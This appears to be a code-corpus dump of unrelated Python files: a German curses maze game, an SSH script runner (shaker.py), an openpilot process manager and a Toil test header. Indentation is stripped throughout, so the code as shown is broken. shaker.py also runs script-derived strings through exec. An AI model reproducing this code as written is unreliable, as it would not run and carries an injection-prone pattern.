file.write('{},{}\n'.format(i, threading.current_thread().name))
if __name__ == '__main__':
from threading import Thread
t1 = Thread(target=consume, name='t1')
t2 = Thread(target=consume, name='t2')
t3 = Thread(target=consume, name='t3')
t4 = Thread(target=consume, name='t4')
t1.start()
t2.start()
t3.start()
t4.start()
t1.join()
t2.join()
t3.join()
t4.join()
|
game.py | # -*- coding: utf-8 -*-
import time
import curses
from sys import exit
import threading
SÜD = 2
NORD = 0
OST = 1
WEST = 3
KEY_RIGHT = 454
KEY_LEFT = 452
KEY_DOWN = 456
KEY_UP = 450
def error(msg):
print(msg)
exit(-1)
def gamefieldToArray(thisfield):
splitlines = thisfield.splitlines()
arrfield = []
start = (-1, -1)
out = (-1, -1)
x = 0
for line in splitlines:
arr = []
y = 0
for char in line:
arr.append(char)
if char == "S":
start = (x, y)
if char == "A":
out = (x, y)
y = y + 1
x = x + 1
arrfield.append(arr)
return arrfield, start, out
class Bot:
def __init__(self):
self.blick = SÜD
# Hier kommt die Logik für den Bot rein!
# Der Bot kann nur nach NORD, SÜD, OST, WEST schauen
# und dorthin gehen. Die Methode bewegen wird automatisch
# alle 0,5s aufgerufen. Somit kann der Bot alle 0,5s eine
# Bewegung machen. Der Bot bekommt seine Umgebung durch ein
# Objekt "grenzen" gezeigt. Darin steht bspw. unter
# grenzen.SÜD ob sich dort eine Wand befindet (#) oder nicht ( ).
# Zum Abschluss der Methode muss der Bot sagen was er machen möchte.
# Dazu wird return aufgerufen und NORD, SÜD, WEST, OST oder -1
# angegeben. Bei -1 bewegt sich der Bot in dieser Runde nicht.
# Läuft der Bot gegen eine Wand, passiert auch nichts!
# Seine momentane Blickrichtung ist in self.blick gespeichert.
# Auch diese kann NORD, SÜD, WEST, OST sein.
def bewegen(self, grenzen):
if grenzen[NORD] != "#":
self.blick = NORD
return self.blick
if grenzen[OST] != "#":
self.blick = OST
return self.blick
if grenzen[SÜD] != "#":
self.blick = SÜD
return self.blick
if grenzen[WEST] != "#":
self.blick = WEST
return self.blick
class Gameplay:
def __init__(self):
self.running = True
self.win = False
with open('gamefield.txt') as f:
self.gamefield = f.read()
(self.arr, self.start, self.out) = gamefieldToArray(self.gamefield)
if self.start[0] == -1:
error("Kein Startpunkt spezifiziert!")
else:
self.x = self.start[0]
self.y = self.start[1]
if self.out[0] == -1:
error("Kein Ausgang spezifiziert!")
else:
self.xout = self.out[0]
self.yout = self.out[1]
self.screen = curses.initscr()
#self.screen.nodelay(1)
curses.curs_set(0)
self.screen.keypad(1)
def keyboardloop(self):
while self.running:
key = self.screen.getch()
if key == 113: # q
self.running = False
break # q
# handle arrow keys --> move
self.arr[self.x][self.y] = " "
if key == KEY_RIGHT:
self.y = self.y + 1 if self.arr[self.x][self.y + 1] != "#" else self.y
if key == KEY_LEFT:
self.y = self.y - 1 if self.arr[self.x][self.y - 1] != "#" else self.y
if key == KEY_UP:
self.x = self.x - 1 if self.arr[self.x - 1][self.y] != "#" else self.x
if key == KEY_DOWN:
self.x = self.x + 1 if self.arr[self.x + 1][self.y] != "#" else self.x
# check for win
if (self.x == self.xout) and (self.y == self.yout):
self.running = False
self.win = True
def botloop(self):
bot = Bot()
while self.running:
# check for win
if (self.x == self.xout) and (self.y == self.yout):
self.running = False
self.win=True
break
# prepare view for bot and call bot
grenzen = {
# keine Randbehandlung, da Spielfeld einen Rand hat
SÜD: self.arr[self.x+1][self.y],
NORD: self.arr[self.x-1][self.y],
OST: self.arr[self.x][self.y+1],
WEST: self.arr[self.x][self.y-1]
}
move = bot.bewegen(grenzen)
self.arr[self.x][self.y] = " "
if move == SÜD:
self.x = self.x + 1 if self.arr[self.x + 1][self.y] != "#" else self.x
if move == NORD:
self.x = self.x - 1 if self.arr[self.x - 1][self.y] != "#" else self.x
if move == OST:
self.y = self.y + 1 if self.arr[self.x][self.y + 1] != "#" else self.y
if move == WEST:
self.y = self.y - 1 if self.arr[self.x][self.y - 1] != "#" else self.y
time.sleep(.5)
if __name__ == '__main__':
game = Gameplay()
# keyboard listener
threading.Thread(target=game.keyboardloop).start()
# handle a bot
#threading.Thread(target=game.botloop).start()
# main gui loop
while game.running:
game.screen.clear()
i = 0
for line in game.arr:
j = 0
for char in line:
if char == "#":
game.screen.addstr(i, j, u"\u2588".encode("utf-8"))
else:
game.screen.addstr(i, j, char.encode("utf-8"))
j = j + 1
i = i + 1
game.screen.addstr(game.x, game.y, u"\u00A4".encode("utf-8"))
# add hints on Bottom
game.screen.addstr(i, 0, u"Beenden: Taste <q> drücken!".encode("utf-8"))
game.screen.refresh()
time.sleep(0.05)
if game.win:
game.screen.addstr(0, 1, "Gewonnen!".encode("utf-8"))
else:
game.screen.addstr(0, 1, "Abbruch!".encode("utf-8"))
game.screen.getch()
curses.endwin()
exit(0)
|
shaker.py | import yaml
import os
from mako.template import Template
from socketIO_client import SocketIO,BaseNamespace
import redis,sys,getopt,pxssh,getpass,StringIO,contextlib,pexpect
from threading import Thread
# import custom module
from modules import *
r = redis.StrictRedis()
nsGlobal.init()
class Namespace(BaseNamespace):
def on_halt(self,args):
nsGlobal.halt = True;
sys.exit(0)
def on_register(self,args):
print "registerrr"
nsGlobal.self_id = args['id']
print "My ID "+str(args['id'])
print "My father ID "+str(nsGlobal.father_id)
def on_connect(self):
print '[Connected]'
def on_finish(self,args):
socketIO.emit('console-emit-cmd','<span class="console-cmd">\
[#]FiniSH recu '+str(args['father_id'])+' |'+\
str(nsGlobal.self_id)+'</span>\n')
if int(args['father_id']) == nsGlobal.self_id :
socketIO.emit('console-emit-cmd','<span class="console-cmd">\
[#]FiniSH recu OK '+str(args['father_id'])+'</span>\n')
nsGlobal.continue_cmd = False
socketIO = SocketIO('localhost', 3002,Namespace)
thread = Thread(target= socketIO.wait)
thread.setDaemon(True)
thread.start()
@contextlib.contextmanager
def stdoutIO(stdout=None):
old = sys.stdout
if stdout is None:
stdout = StringIO.StringIO()
sys.stdout = stdout
yield stdout
sys.stdout = old
## ============ Event of socket ========
#def on_register(*args):
# print "registerrrr "+str(args.id)
#socketIO.on('register',on_register)
## =======================================
WEB_CONSOLE= False
mode =0
def emit_son_finish():
socketIO.emit("finish",{"father_id":nsGlobal.father_id})
def web_console_cmd(data):
if WEB_CONSOLE:
socketIO.emit('console-emit-cmd',\
'<span class="console-cmd">[#]'+str(data)+'</span>\n')
else:
print '[#]'+str(data)
def web_console_rt(data):
if WEB_CONSOLE:
socketIO.emit('console-emit',str(data))
else:
print '[#]'+str(data)
def web_console_info(data):
if WEB_CONSOLE:
socketIO.emit('console-emit-cmd',\
'<span class="console-cmd msg">[#]'+str(data)+'</span>\n')
else:
print '[#]'+str(data)
def web_console(mode,data):
if mode ==1:
web_console_cmd(data)
if mode ==2:
web_console_rt(data)
if mode ==3:
web_console_info(data)
if mode == 10:
emit_son_finish()
if mode == 99:
socketIO.emit('halt',{})
# cmd to run a custom command (call to python module)
def run_cmd(ssh,data,cmd):
global mode
# extract cmd and arguments
tmp1_ = cmd.split(' ')
module_name_methode = tmp1_[1]
tmp2_ = module_name_methode.split('.')
module_name = tmp2_[0]
methode_name = tmp2_[1]
# argumet
if len(tmp1_)>2:
arguments =tmp1_[2]
else:
arguments='script'
# run the commande
cmd_to_run = module_name+'.'+methode_name+'(ssh,data["'+arguments+'"],web_console)'
if mode != 1:
web_console_info("[$$] call module : "+cmd_to_run)
web_console_info("[$$] ...")
if mode ==1:
print '[debug][cmd to run]'+cmd_to_run
else:
with stdoutIO() as s:
exec cmd_to_run
web_console_info("[#] module finish ["+arguments+"] : "+s.getvalue())
def ssh_cmd(cmds,var):
global mode
events =[]
try:
s = pxssh.pxssh()
hostname = var['script']['host']
username = var['script']['user']
password = var['script']['password']
prompt = True
if "prompt" in var['script']:
prompt = ['prompt']
if mode !=1:
s.login(hostname, username, password,auto_prompt_reset=prompt)
inside_block = False
#s.sendline()
#i = s.expect([pexpect.EOF,s.PROMPT])
#while i !=1:
# s.logout()
# s.login(hostname,username,password)
# i =s.expect(pexpect.EOF,s.PROMPT)
for cmd in cmds:
# Check if we must halt ?!!!
if nsGlobal.halt:
web_console_info("["+str(nsGlobal.self_id)+"] **** Halted ****")
s.logout()
sys.exit(0)
# looking for the cmd balise .... must be in the begining of the line
if cmd.find('$$')==0 :
run_cmd(s,var,cmd)
continue
# manage error
if cmd.find('$!+')==0:
if cmd[3:] not in events:
events.append(cmd[3:])
continue
if cmd.find('$!-')==0:
events.remove(cmd[3:])
continue
if cmd.find('$<')==0:
inside_block = True
continue
if cmd.find('$>')==0:
inside_block = False
s.prompt()
message_rt = s.before
web_console_rt(message_rt)
continue
if cmd.find('$exit')==0:
message_rt = s.before
web_console_rt(message_rt)
break
if mode ==1:
continue
s.sendline(cmd)
if mode !=1:
web_console_cmd(cmd)
if inside_block == False:
s.prompt()
# event loop
for ev in events:
run_cmd(s,var,ev)
message_rt = s.before
web_console_rt(message_rt)
web_console_info("Script complete")
s.logout()
except Exception as e:
print("SSH error.")
print(e)
web_console_info('[!!!] SSH ERROR:'+str(e))
# Send a Halt to stop every things
web_console_cmd(' ERROR ::::: SEND HALT TO ALL PROCESS :::::::')
socketIO.emit('halt-error',{})
#---------------------------------
# MAIN
#---------------------------------
def main(argv):
env_file = ''
shell_file = ''
console_arguments =[]
# mode
# 1 : debug
# 2 : execute
global mode
#print argv
mode = 0
global WEB_CONSOLE
try:
opts,args = getopt.getopt(argv,'hdxwe:s:',\
['env_file=','shell_file=','argv=','father_id='])
except getopt.GetoptError:
print '\t usage: shaker.py -[d|x|w] -e <file_env> \
-s <file_shell> --argv=<arg1 arg2 ...>'
sys.exit(2)
for opt,arg in opts:
if opt =='-h':
print '\nusage : shaker.py -[d|x] \
-e <file_env> -s <file_shell> --argv=<arg1 arg2 ...>\n'
print '\t-d\t\tMode Debug, check templating result'
print '\t-w\t\tSend notification to webGUI'
print '\t-x\t\tRun script'
print '\t-e <file>\tSet file env variables'
print '\t-s <file>\tSet script file'
print '\t--argv=<args>\tSet arguments\n'
sys.exit(2)
elif opt in ('-e','--env_file'):
env_file = arg
elif opt in ('-s','--shell_file'):
shell_file = arg
elif opt =='-d':
mode =1
elif opt == '-x':
mode =2
elif opt =='-w' :
WEB_CONSOLE = True
elif opt == '--argv':
console_arguments = arg.split()
elif opt == '--father_id':
nsGlobal.father_id = arg
if mode ==1:
print '\t\t[Shaker Debug]\n'
nsGlobal.mode = mode
# Parsing shaker config
#LOCAL_PATH=os.path.realpath(__folder__)
LOCAL_PATH = os.path.dirname(os.path.realpath(__file__))
conf_file = open(LOCAL_PATH+'/shaker.conf','r')
SHAKER_CONF = yaml.load(conf_file)
# parsing env.yaml
if env_file != '':
if mode ==1:
print '\t\t[debug][env yaml]\n'
tmp = Template(filename=env_file)
# data.append('IRCWWP001')
print 'console arg'
print console_arguments
try:
str_yaml = tmp.render(argv=console_arguments,shaker=SHAKER_CONF)
except Exception as e:
print "Yaml Parse env error "+str(e)
if str(e).find("list index out of range")>=0:
print "[shaker] please insert arguments,\
your yaml need arguments to be set arg[]"
sys.exit(2)
if mode ==1:
print '[debug][content of env]:'
print str_yaml
print '[debug][end content of env]'
data_var_env = yaml.load(str_yaml)
# Update nsGlobal
nsGlobal.env = data_var_env
# parsing shell
if shell_file == '':
print "Erreur: No shell file set"
sys.exit(2)
if mode ==1:
print '\n\n'
print '\t\t[debug][~ shell ~]\n'
tmp_sc = Template(filename=shell_file)
try:
sc_content = tmp_sc.render(env=data_var_env)
except Exception as e:
print 'Yaml parse shell error '+str(e)
if mode ==1:
print '[debug][content of shell]\n'
print sc_content
print '[debug][end content of shell]\n'
list_cmd = sc_content.split('\r\n')
print list_cmd
# run command SSH
ssh_cmd(list_cmd,data_var_env)
if nsGlobal.father_id !=0:
emit_son_finish()
exit(0)
if __name__ == "__main__":
main(sys.argv[1:])
|
manager.py | #!/usr/bin/env python3
import datetime
import importlib
import os
import sys
import fcntl
import errno
import signal
import shutil
import subprocess
import textwrap
import time
import traceback
from multiprocessing import Process
from typing import Dict
from common.basedir import BASEDIR
from common.spinner import Spinner
from common.text_window import TextWindow
import selfdrive.crash as crash
from selfdrive.hardware import HARDWARE, EON, PC, TICI
from selfdrive.hardware.eon.apk import update_apks, pm_apply_packages, start_offroad
from selfdrive.swaglog import cloudlog, add_logentries_handler
from selfdrive.version import version, dirty
import re
from common.dp_conf import init_params_vals
os.environ['BASEDIR'] = BASEDIR
sys.path.append(os.path.join(BASEDIR, "pyextra"))
TOTAL_SCONS_NODES = 1225
MAX_BUILD_PROGRESS = 70
WEBCAM = os.getenv("WEBCAM") is not None
PREBUILT = os.path.exists(os.path.join(BASEDIR, 'prebuilt'))
def unblock_stdout():
# get a non-blocking stdout
child_pid, child_pty = os.forkpty()
if child_pid != 0: # parent
# child is in its own process group, manually pass kill signals
signal.signal(signal.SIGINT, lambda signum, frame: os.kill(child_pid, signal.SIGINT))
signal.signal(signal.SIGTERM, lambda signum, frame: os.kill(child_pid, signal.SIGTERM))
fcntl.fcntl(sys.stdout, fcntl.F_SETFL, fcntl.fcntl(sys.stdout, fcntl.F_GETFL) | os.O_NONBLOCK)
while True:
try:
dat = os.read(child_pty, 4096)
except OSError as e:
if e.errno == errno.EIO:
break
continue
if not dat:
break
try:
sys.stdout.write(dat.decode('utf8'))
except (OSError, IOError, UnicodeDecodeError):
pass
# os.wait() returns a tuple with the pid and a 16 bit value
# whose low byte is the signal number and whose high byte is the exit satus
exit_status = os.wait()[1] >> 8
os._exit(exit_status)
if __name__ == "__main__":
unblock_stdout()
# Start spinner
spinner = Spinner()
spinner.update_progress(0, 100)
if __name__ != "__main__":
spinner.close()
def build():
env = os.environ.copy()
env['SCONS_PROGRESS'] = "1"
env['SCONS_CACHE'] = "1"
nproc = os.cpu_count()
j_flag = "" if nproc is None else f"-j{nproc - 1}"
for retry in [True, False]:
scons = subprocess.Popen(["scons", j_flag], cwd=BASEDIR, env=env, stderr=subprocess.PIPE)
compile_output = []
# Read progress from stderr and update spinner
while scons.poll() is None:
try:
line = scons.stderr.readline()
if line is None:
continue
line = line.rstrip()
prefix = b'progress: '
if line.startswith(prefix):
i = int(line[len(prefix):])
spinner.update_progress(MAX_BUILD_PROGRESS * min(1., i / TOTAL_SCONS_NODES), 100.)
elif len(line):
compile_output.append(line)
print(line.decode('utf8', 'replace'))
except Exception:
pass
if scons.returncode != 0:
# Read remaining output
r = scons.stderr.read().split(b'\n')
compile_output += r
if retry and (not dirty):
if not os.getenv("CI"):
print("scons build failed, cleaning in")
for i in range(3, -1, -1):
print("....%d" % i)
time.sleep(1)
subprocess.check_call(["scons", "-c"], cwd=BASEDIR, env=env)
shutil.rmtree("/tmp/scons_cache", ignore_errors=True)
shutil.rmtree("/data/scons_cache", ignore_errors=True)
else:
print("scons build failed after retry")
sys.exit(1)
else:
# Build failed log errors
errors = [line.decode('utf8', 'replace') for line in compile_output
if any([err in line for err in [b'error: ', b'not found, needed by target']])]
error_s = "\n".join(errors)
add_logentries_handler(cloudlog)
cloudlog.error("scons build failed\n" + error_s)
ip = 'N/A'
if EON:
try:
result = subprocess.check_output(["ifconfig", "wlan0"], encoding='utf8')
ip = re.findall(r"inet addr:((\d+\.){3}\d+)", result)[0][0]
except:
ip = 'N/A'
# Show TextWindow
spinner.close()
error_s = "\n \n".join(["\n".join(textwrap.wrap(e, 65)) for e in errors])
with TextWindow(("openpilot failed to build (IP: %s)\n \n" % ip) + error_s) as t:
t.wait_for_exit()
exit(1)
else:
break
if __name__ == "__main__" and not PREBUILT:
build()
import cereal.messaging as messaging
from cereal import log
from common.params import Params, put_nonblocking
from selfdrive.registration import register
from selfdrive.launcher import launcher
# comment out anything you don't want to run
managed_processes = {
"thermald": "selfdrive.thermald.thermald",
"uploader": "selfdrive.loggerd.uploader",
"deleter": "selfdrive.loggerd.deleter",
"controlsd": "selfdrive.controls.controlsd",
"plannerd": "selfdrive.controls.plannerd",
"radard": "selfdrive.controls.radard",
"dmonitoringd": "selfdrive.monitoring.dmonitoringd",
"ubloxd": ("selfdrive/locationd", ["./ubloxd"]),
"loggerd": ("selfdrive/loggerd", ["./loggerd"]),
"logmessaged": "selfdrive.logmessaged",
"locationd": "selfdrive.locationd.locationd",
"tombstoned": "selfdrive.tombstoned",
"logcatd": ("selfdrive/logcatd", ["./logcatd"]),
"proclogd": ("selfdrive/proclogd", ["./proclogd"]),
"pandad": "selfdrive.pandad",
"ui": ("selfdrive/ui", ["./ui"]),
"calibrationd": "selfdrive.locationd.calibrationd",
"paramsd": "selfdrive.locationd.paramsd",
"camerad": ("selfdrive/camerad", ["./camerad"]),
"sensord": ("selfdrive/sensord", ["./sensord"]),
"clocksd": ("selfdrive/clocksd", ["./clocksd"]),
"updated": "selfdrive.updated",
"dmonitoringmodeld": ("selfdrive/modeld", ["./dmonitoringmodeld"]),
"modeld": ("selfdrive/modeld", ["./modeld"]),
"rtshield": "selfdrive.rtshield",
"systemd": "selfdrive.dragonpilot.systemd",
"appd": "selfdrive.dragonpilot.appd",
"gpxd": "selfdrive.dragonpilot.gpxd",
}
daemon_processes = {
"manage_athenad": ("selfdrive.athena.manage_athenad", "AthenadPid"),
}
running: Dict[str, Process] = {}
def get_running():
return running
# due to qualcomm kernel bugs SIGKILLing camerad sometimes causes page table corruption
unkillable_processes = ['camerad']
# processes to end with SIGKILL instead of SIGTERM
kill_processes = []
if EON:
kill_processes += [
'sensord',
]
persistent_processes = [
'pandad',
'thermald',
'logmessaged',
'ui',
'uploader',
'deleter',
'systemd',
]
if not PC:
persistent_processes += [
'updated',
'tombstoned',
'appd',
]
if EON:
persistent_processes += [
'sensord',
]
if TICI:
managed_processes["timezoned"] = "selfdrive.timezoned"
persistent_processes += ['timezoned']
car_started_processes = [
'controlsd',
'plannerd',
'loggerd',
'radard',
'calibrationd',
'paramsd',
'camerad',
'modeld',
'proclogd',
'locationd',
'clocksd',
'gpxd',
]
driver_view_processes = [
'camerad',
'dmonitoringd',
'dmonitoringmodeld'
]
if not PC or WEBCAM:
car_started_processes += [
'ubloxd',
'dmonitoringd',
'dmonitoringmodeld',
]
if EON:
car_started_processes += [
'rtshield',
]
else:
car_started_processes += [
'sensord',
]
def register_managed_process(name, desc, car_started=False):
global managed_processes, car_started_processes, persistent_processes
managed_processes[name] = desc
if car_started:
car_started_processes.append(name)
else:
persistent_processes.append(name)
# ****************** process management functions ******************
def nativelauncher(pargs, cwd):
# exec the process
os.chdir(cwd)
os.execvp(pargs[0], pargs)
def start_managed_process(name):
if name in running or name not in managed_processes:
return
proc = managed_processes[name]
if isinstance(proc, str):
cloudlog.info("starting python %s" % proc)
running[name] = Process(name=name, target=launcher, args=(proc,))
else:
pdir, pargs = proc
cwd = os.path.join(BASEDIR, pdir)
cloudlog.info("starting process %s" % name)
running[name] = Process(name=name, target=nativelauncher, args=(pargs, cwd))
running[name].start()
def start_daemon_process(name):
params = Params()
proc, pid_param = daemon_processes[name]
pid = params.get(pid_param, encoding='utf-8')
if pid is not None:
try:
os.kill(int(pid), 0)
with open(f'/proc/{pid}/cmdline') as f:
if proc in f.read():
# daemon is running
return
except (OSError, FileNotFoundError):
# process is dead
pass
cloudlog.info("starting daemon %s" % name)
proc = subprocess.Popen(['python', '-m', proc], # pylint: disable=subprocess-popen-preexec-fn
stdin=open('/dev/null', 'r'),
stdout=open('/dev/null', 'w'),
stderr=open('/dev/null', 'w'),
preexec_fn=os.setpgrp)
params.put(pid_param, str(proc.pid))
def prepare_managed_process(p, build=False):
proc = managed_processes[p]
if isinstance(proc, str):
# import this python
cloudlog.info("preimporting %s" % proc)
importlib.import_module(proc)
elif os.path.isfile(os.path.join(BASEDIR, proc[0], "SConscript")) and build:
# build this process
cloudlog.info("building %s" % (proc,))
try:
subprocess.check_call(["scons", "u", "-j4", "."], cwd=os.path.join(BASEDIR, proc[0]))
except subprocess.CalledProcessError:
# clean and retry if the build failed
cloudlog.warning("building %s failed, cleaning and retrying" % (proc, ))
subprocess.check_call(["scons", "-u", "-c", "."], cwd=os.path.join(BASEDIR, proc[0]))
subprocess.check_call(["scons", "-u", "-j4", "."], cwd=os.path.join(BASEDIR, proc[0]))
def join_process(process, timeout):
# Process().join(timeout) will hang due to a python 3 bug: https://bugs.python.org/issue28382
# We have to poll the exitcode instead
t = time.time()
while time.time() - t < timeout and process.exitcode is None:
time.sleep(0.001)
def kill_managed_process(name, retry=True):
if name not in running or name not in managed_processes:
return
cloudlog.info(f"killing {name}")
if running[name].exitcode is None:
sig = signal.SIGKILL if name in kill_processes else signal.SIGINT
os.kill(running[name].pid, sig)
join_process(running[name], 5)
if running[name].exitcode is None:
if not retry:
raise Exception(f"{name} failed to die")
if name in unkillable_processes:
cloudlog.critical("unkillable process %s failed to exit! rebooting in 15 if it doesn't die" % name)
join_process(running[name], 15)
if running[name].exitcode is None:
cloudlog.critical("unkillable process %s failed to die!" % name)
os.system("date >> /data/unkillable_reboot")
os.sync()
HARDWARE.reboot()
raise RuntimeError
else:
cloudlog.info("killing %s with SIGKILL" % name)
os.kill(running[name].pid, signal.SIGKILL)
running[name].join()
ret = running[name].exitcode
cloudlog.info(f"{name} is dead with {ret}")
del running[name]
return ret
def cleanup_all_processes(signal, frame):
cloudlog.info("caught ctrl-c %s %s" % (signal, frame))
if EON:
pm_apply_packages('disable')
for name in list(running.keys()):
kill_managed_process(name)
cloudlog.info("everything is dead")
def send_managed_process_signal(name, sig):
if name not in running or name not in managed_processes or \
running[name].exitcode is not None:
return
cloudlog.info(f"sending signal {sig} to {name}")
os.kill(running[name].pid, sig)
# ****************** run loop ******************
def manager_init(should_register=True):
os.umask(0) # Make sure we can create files with 777 permissions
# Create folders needed for msgq
try:
os.mkdir("/dev/shm")
except FileExistsError:
pass
except PermissionError:
print("WARNING: failed to make /dev/shm")
# set dongle id
if should_register:
reg_res = register(spinner)
if reg_res:
dongle_id = reg_res
else:
dongle_id = "c"*16
else:
dongle_id = "c"*16
os.environ['DONGLE_ID'] = dongle_id
if not dirty:
os.environ['CLEAN'] = '1'
cloudlog.bind_global(dongle_id=dongle_id, version=version, dirty=dirty,
device=HARDWARE.get_device_type())
crash.bind_user(id=dongle_id)
crash.bind_extra(version=version, dirty=dirty, device=HARDWARE.get_device_type())
# ensure shared libraries are readable by apks
if EON:
os.chmod(BASEDIR, 0o755)
os.chmod("/dev/shm", 0o777)
os.chmod(os.path.join(BASEDIR, "cereal"), 0o755)
os.chmod(os.path.join(BASEDIR, "cereal", "libmessaging_shared.so"), 0o755)
def manager_thread():
cloudlog.info("manager start")
cloudlog.info({"environ": os.environ})
params = Params()
# save boot log
if params.get("dp_logger") == b'1':
subprocess.call("./bootlog", cwd=os.path.join(BASEDIR, "selfdrive/loggerd"))
if params.get("dp_athenad") == b'1':
# start daemon processes
for p in daemon_processes:
start_daemon_process(p)
# start persistent processes
for p in persistent_processes:
start_managed_process(p)
# start offroad
if EON:
pm_apply_packages('enable')
start_offroad()
if os.getenv("NOBOARD") is not None:
del managed_processes["pandad"]
if os.getenv("BLOCK") is not None:
for k in os.getenv("BLOCK").split(","):
del managed_processes[k]
started_prev = False
logger_dead = False
params = Params()
device_state_sock = messaging.sub_sock('deviceState')
pm = messaging.PubMaster(['managerState'])
while 1:
msg = messaging.recv_sock(device_state_sock, wait=True)
if msg.deviceState.freeSpacePercent < 5:
logger_dead = True
if msg.deviceState.started:
for p in car_started_processes:
if p == "loggerd" and logger_dead:
kill_managed_process(p)
else:
start_managed_process(p)
else:
logger_dead = False
driver_view = params.get("IsDriverViewEnabled") == b"1"
# TODO: refactor how manager manages processes
for p in reversed(car_started_processes):
if p not in driver_view_processes or not driver_view:
kill_managed_process(p)
for p in driver_view_processes:
if driver_view:
start_managed_process(p)
else:
kill_managed_process(p)
# trigger an update after going offroad
if started_prev:
os.sync()
send_managed_process_signal("updated", signal.SIGHUP)
started_prev = msg.deviceState.started
# check the status of all processes, did any of them die?
running_list = ["%s%s\u001b[0m" % ("\u001b[32m" if running[p].is_alive() else "\u001b[31m", p) for p in running]
cloudlog.debug(' '.join(running_list))
# send managerState
states = []
for p in managed_processes:
state = log.ManagerState.ProcessState.new_message()
state.name = p
if p in running:
state.running = running[p].is_alive()
state.pid = running[p].pid
state.exitCode = running[p].exitcode or 0
states.append(state)
msg = messaging.new_message('managerState')
msg.managerState.processes = states
pm.send('managerState', msg)
# Exit main loop when uninstall is needed
if params.get("DoUninstall", encoding='utf8') == "1":
break
def manager_prepare():
# build all processes
os.chdir(os.path.dirname(os.path.abspath(__file__)))
total = 100.0 - (0 if PREBUILT else MAX_BUILD_PROGRESS)
for i, p in enumerate(managed_processes):
perc = (100.0 - total) + total * (i + 1) / len(managed_processes)
spinner.update_progress(perc, 100.)
prepare_managed_process(p)
def main():
params = Params()
params.manager_start()
default_params = [
("CommunityFeaturesToggle", "0"),
("CompletedTrainingVersion", "0"),
("IsRHD", "0"),
("IsMetric", "0"),
("RecordFront", "0"),
("HasAcceptedTerms", "0"),
("HasCompletedSetup", "0"),
("IsUploadRawEnabled", "1"),
("IsLdwEnabled", "1"),
("LastUpdateTime", datetime.datetime.utcnow().isoformat().encode('utf8')),
("OpenpilotEnabledToggle", "1"),
("VisionRadarToggle", "0"),
("LaneChangeEnabled", "1"),
("IsDriverViewEnabled", "0"),
]
# set unset params
for k, v in default_params:
if params.get(k) is None:
params.put(k, v)
# is this dashcam?
if os.getenv("PASSIVE") is not None:
params.put("Passive", str(int(os.getenv("PASSIVE"))))
if params.get("Passive") is None:
raise Exception("Passive must be set to continue")
init_params_vals(params)
if EON:
update_apks()
manager_init(params.get('dp_reg') == b'1')
manager_prepare()
spinner.close()
if os.getenv("PREPAREONLY") is not None:
return
# dp
del managed_processes['tombstoned']
steering_monitor = params.get("dp_steering_monitor") == b'1'
if not steering_monitor and params.get("dp_driver_monitor") == b'0':
del managed_processes['loggerd']
del managed_processes['logmessaged']
del managed_processes['proclogd']
del managed_processes['logcatd']
del managed_processes['dmonitoringd']
del managed_processes['dmonitoringmodeld']
elif params.get("dp_logger") == b'0' or \
params.get("dp_atl") == b'1' or \
not steering_monitor:
del managed_processes['loggerd']
del managed_processes['logmessaged']
del managed_processes['proclogd']
del managed_processes['logcatd']
if params.get("dp_uploader") == b'0':
del managed_processes['uploader']
if params.get("dp_updated") == b'0':
del managed_processes['updated']
if params.get('dp_gpxd') == b'0':
del managed_processes['gpxd']
# SystemExit on sigterm
signal.signal(signal.SIGTERM, lambda signum, frame: sys.exit(1))
try:
manager_thread()
except Exception:
traceback.print_exc()
crash.capture_exception()
finally:
cleanup_all_processes(None, None)
if params.get("DoUninstall", encoding='utf8') == "1":
cloudlog.warning("uninstalling")
HARDWARE.uninstall()
if __name__ == "__main__":
try:
main()
except Exception:
add_logentries_handler(cloudlog)
cloudlog.exception("Manager failed to start")
ip = 'N/A'
if EON:
try:
result = subprocess.check_output(["ifconfig", "wlan0"], encoding='utf8')
ip = re.findall(r"inet addr:((\d+\.){3}\d+)", result)[0][0]
except:
ip = 'N/A'
# Show last 3 lines of traceback
error = traceback.format_exc(-3)
error = ("Manager failed to start (IP: %s)\n \n" % ip) + error
spinner.close()
with TextWindow(error) as t:
t.wait_for_exit()
raise
# manual exit because we are forked
sys.exit(0)
|
jobStoreTest.py | # Copyright (C) 2015-2021 Regents of the University of California
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import hashlib
import http
import logging
import os
import shutil
import socketserver
import tempfile
import threading
import time
import urllib.parse as urlparse
import uuid
from abc import ABCMeta, abstractmethod
from io import BytesIO
from itertools import chain, islice
from queue import Queue
from threading import Thread
from typing import Any, Tuple
from urllib.request import Request, urlopen
import pytest
from stubserver import FTPStubServer
from toil.common import Config, Toil
from toil.fileStores import FileID
from toil.job import Job, JobDescription, TemporaryID
from toil.jobStores.abstractJobStore import (NoSuchFileException,
NoSuchJobException)
from toil.jobStores.fileJobStore import FileJobStore
from toil.lib.aws.utils import create_s3_bucket
from toil.lib.memoize import memoize
from toil.statsAndLogging import StatsAndLogging
from toil.test import (ToilTest,
make_tests,
needs_aws_s3,
needs_encryption,
needs_google,
slow)
# noinspection PyPackageRequirements
# (installed by `make prepare`)
# Need google_retry decorator even if google is not available, so make one up.
# Unconventional use of decorator to determine if google is enabled by seeing if
# it returns the parameter passed in.
if needs_google(needs_google) is needs_google:
from toil.jobStores.googleJobStore import google_retry
else:
def google_retry(x):
return x
logger = logging.getLogger(__name__)
def tearDownModule():
AbstractJobStoreTest.Test.cleanUpExternalStores()
class AbstractJobStoreTest:
"""
Hide abstract base class from unittest's test case loader
http://stackoverflow.com/questions/1323455/python-unit-test-with-base-and-sub-class#answer-25695512
"""
class Test(ToilTest, metaclass=ABCMeta):
@classmethod
def setUpClass(cls):
super(AbstractJobStoreTest.Test, cls).setUpClass()
logging.basicConfig(level=logging.DEBUG)
logging.getLogger('boto').setLevel(logging.CRITICAL)
logging.getLogger('boto').setLevel(logging.WARNING)
logging.getLogger('boto3.resources').setLevel(logging.WARNING)
logging.getLogger('botocore.auth').setLevel(logging.WARNING)
logging.getLogger('botocore.hooks').setLevel(logging.WARNING)
# The use of @memoize ensures that we only have one instance of per class even with the
# generative import/export tests attempts to instantiate more. This in turn enables us to
# share the external stores (buckets, blob store containers, local directory, etc.) used
# for testing import export. While the constructor arguments are included in the
# memoization key, I have only ever seen one case: ('test', ). The worst that can happen
# if other values are also used is that there will be more external stores and less sharing
